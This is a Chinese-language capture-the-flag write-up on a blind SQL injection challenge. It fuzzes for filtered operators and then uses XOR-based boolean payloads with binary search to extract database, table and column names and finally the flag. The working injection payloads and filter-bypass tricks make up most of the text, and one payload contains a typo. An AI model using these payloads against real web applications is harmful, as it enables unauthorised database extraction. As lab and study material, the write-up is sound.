Subject
SQL Injection Blind Injection
Mind Palace
进入网站 ==> 获得可能的提示:盲注
点击下面的数字 观察url
URL/search.php?id=5
尝试后续的id=6...
输入直到出现error的返回;再测试其他的id的值发现两种不同的回显:
第一个error是查询不到需要的id的error;第二个error是隐藏了语法错误报错信息的error ==> 盲注
Fuzz:
包长度为890的情况都是被过滤的字符
关系预算符中 & and AND | 都是被过滤了的;or xor ^ 没有被过滤
==> 使用异或来进行盲注
1 ^ 1 = 0
1 ^ 0 = 1
0 ^ 1 = 1
0 ^ 0 = 0
构想payload:
1 ^ (sql injection judge exp) #
- 如果页面正常回显(NO!);expression为假
- 如果页面不正常回显(ERROR!!!);expression为真
sql injection judge exp: ==> 用于爆破
1. database-name
2. table-name
3. column-name
4. value-flag
0x01 爆破数据库名字
1 ^ ( ascii(substr(database(),{var=0},1)) =?= ascii({var='g'}) ) #
==>
1^((ascii(substr(database(),{var},1)))>(mid))#
- 如果这个字符大于mid;回显为不正常回显;left = mid + 1
- 如果这个字符小于等于mid;回显为正常回显;right = mid
开始之前对payload中关键字符串进行再次fuzz(补充fuzz:- 0x % + %20);
更新payload:
1^((ascii(substr(database(),{i},1)))%3e({mid}))--%20
成功爆破出数据库名字:
0x02 爆破表名
1^((ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=('geek')),{var},1)))%3e({mid}))--%20
==> F1naI1y, Flaaaaag
0x03 爆破列名
1^((ascii(substr((select(gourp_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),{var},1)))%3e({mid}))--%20
==> id, fl4gawsl
0x04 爆破flag
1^((ascii(substr((select(group_concat(fl4gawsl))from(Flaaaaag)),{var},1)))%3e({mid}))--%20
惊觉不对劲 需要使用limit了(根据之前网页的提示 limit到第6个)
==> 改进
1^((ascii(substr((select(fl4gawsl)from(Flaaaaag)limit(6,1)),{i},1)))%3e({mid}))--%20
==> limit 没有通过fuzz
观察到另一个列名 可以使用 id=6
1^((ascii(substr((select(fl4gawsl)from(Flaaaaag)where(id)=(6)),{i},1)))%3e({mid}))--%20
根据提示说明不在这个表中;尝试在表 F1naI1y 中查找
(其实一开始就应该想到的)还是失败了 困惑
database: geek
- table1: F1naI1y
- columns: id, username, password
- table2: Flaaaaag
- columns: id, fl4gawsl
说明flag一定藏在 geek.F1naI1y 的 password 中
==============> 太气人了 ヽ(`Д´)ノ 直接 group_concat 全部爆破出来
====> 10000 rounds:
1^((ascii(substr((select(group_concat(password))from(F1naI1y)),{i},1)))>({mid}))--%20
得到flag:
代码链接:
Look Ahead
心态要稳定 ==> 虽然爆破很麻烦(插眼:可以尝试使用多线程看看能否加快速度)
稍微要求一点Python编程;fuzz的技巧和绕过的技巧还需要继续积累
注:
Python代码中上述payload的 %3e 要换成 >
END ヾ(・ε・`*)